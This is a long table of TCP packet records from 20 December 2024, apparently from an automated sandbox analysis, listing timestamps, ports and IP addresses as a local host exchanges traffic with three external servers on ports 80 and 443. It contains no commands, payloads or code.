Dec 20, 2024 13:12:34.966799974 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.967511892 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.967564106 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.967843056 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.967892885 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.967957973 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.968961000 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.968992949 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.969010115 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.969041109 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.969811916 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.969862938 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.969973087 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.970025063 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.970943928 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.970998049 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.971380949 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.971434116 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.972445965 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.972790003 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.972843885 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.973424911 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.973576069 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.973639011 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.974659920 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.974715948 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.974973917 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.975034952 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.975730896 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.975786924 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.975822926 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.975881100 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.976630926 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.976968050 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.977070093 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.977123976 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.977560997 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.977631092 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.978739977 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.978750944 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.978763103 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.978806973 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.978837013 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.979729891 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.979999065 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.980627060 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.980679035 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.980819941 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.980830908 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.980873108 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.981790066 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.982233047 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.982304096 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.982928991 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.982986927 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.983974934 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.984071970 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.984082937 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.984139919 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.985008955 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.985074997 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.985217094 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.985277891 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.985944033 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.985954046 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.986017942 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.986049891 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.986816883 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.987482071 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.987536907 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.987606049 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.987616062 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.987658024 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.988439083 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.988737106 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.988790035 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.989494085 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.989598036 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.989658117 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.990566969 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.990608931 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.990621090 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.990673065 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.991472006 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.991544962 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.991966963 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.992585897 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.992597103 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.992640972 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.992686987 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.993709087 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.993730068 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.993782997 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.994585991 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.994648933 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.994870901 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.994930029 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.995655060 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.995732069 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.996068954 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.996126890 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.996819019 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.996933937 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.996989012 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.997747898 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.997947931 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.998013973 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.998802900 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.998862028 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.999103069 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.999161959 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.000539064 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.001069069 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.001130104 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.001437902 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.001493931 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.001497030 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.001543045 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.002211094 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.002365112 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.002628088 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.002686977 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.003191948 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.003261089 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.003288031 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.003343105 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.003914118 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.003989935 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.004580021 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.004631042 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.004894972 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.006020069 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.006031990 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.006042957 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.006081104 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.006118059 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.006984949 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.007040977 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.007107019 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.007174969 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.008063078 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.008189917 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.008250952 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.009227037 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.009330034 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.009675980 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.009737968 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.010741949 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.011094093 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.011148930 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.011686087 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.011697054 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.011740923 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.150279045 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.150337934 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.150366068 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.150396109 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.150614023 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.150650024 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.150679111 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.150701046 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.151827097 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.151987076 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.151990891 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.152035952 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.152693987 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.152754068 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.153105974 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.153172970 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.153553963 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.153654099 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.154043913 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.154078007 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.154098034 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.154131889 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.155895948 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.155993938 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.156044960 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.156132936 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.156152010 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.156168938 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.156183004 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.156213999 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.157126904 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.157186031 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.157264948 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.157321930 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.158392906 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.158427954 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.158471107 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.158493996 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.159126043 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.159189939 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.160145044 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.160212040 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.160438061 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.160880089 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.160938978 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.161389112 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.161423922 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.161446095 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.161494017 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.162414074 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.162453890 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.162520885 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.163333893 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.163392067 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.163467884 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.163522005 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.164266109 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.164338112 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.165397882 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.165431976 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.165467024 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.165512085 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.165512085 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.165550947 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.166409016 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.166475058 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.166999102 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.167069912 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.167496920 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.167556047 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.167615891 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.167665958 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.168543100 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.168709993 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.168771982 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.169394970 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.169429064 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.169456005 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.169493914 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.170264959 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.170337915 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.170723915 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.170778036 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.172065020 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.172097921 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.172158003 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.172622919 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.172657013 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.172687054 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.172723055 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.173497915 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.173556089 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.174165964 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.174230099 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.174745083 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.174803019 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.175074100 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.175132036 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.175702095 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.175735950 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.175760031 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.175787926 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.176764965 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.176798105 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.176840067 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.176862955 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.178914070 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.179007053 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.179387093 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.179420948 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.179445982 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.179475069 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.179743052 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.179810047 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.180258989 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.180293083 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.180352926 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.180689096 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.180751085 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.181668043 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.181727886 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.182557106 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.182590961 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.182621002 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.182650089 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.184084892 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.184118032 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.184153080 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.184190989 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.184240103 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.184957027 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.184992075 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.185065985 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.185204029 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.185262918 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.186038971 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.186115026 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.186314106 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.186372995 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.186870098 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.186938047 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.187664032 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.187727928 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.188069105 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.188359022 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.188421965 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.188776970 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.188851118 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.188987017 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.189048052 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.190298080 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.190331936 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.190382957 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.190416098 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.191284895 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.191338062 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.191404104 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.192018986 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.193393946 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.193428993 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:35.193474054 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.193504095 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:35.827502966 CET	443	49894	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:35.827744961 CET	443	49894	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:35.827812910 CET	49894	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:35.839540958 CET	49894	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:35.839556932 CET	443	49894	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:35.846513033 CET	49905	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:35.846534014 CET	443	49905	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:35.846759081 CET	49905	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:35.847085953 CET	49905	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:35.847098112 CET	443	49905	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:36.045280933 CET	49906	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:36.165112019 CET	80	49906	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:36.166683912 CET	49906	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:36.170089960 CET	49906	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:36.289988041 CET	80	49906	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:36.290023088 CET	80	49906	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:36.290082932 CET	49906	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:36.290138006 CET	49906	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:36.290160894 CET	80	49906	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:36.290174007 CET	80	49906	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:36.290216923 CET	80	49906	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:36.290237904 CET	49906	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:36.290240049 CET	80	49906	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:36.290302992 CET	49906	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:36.290366888 CET	80	49906	185.121.15.192	192.168.2.5
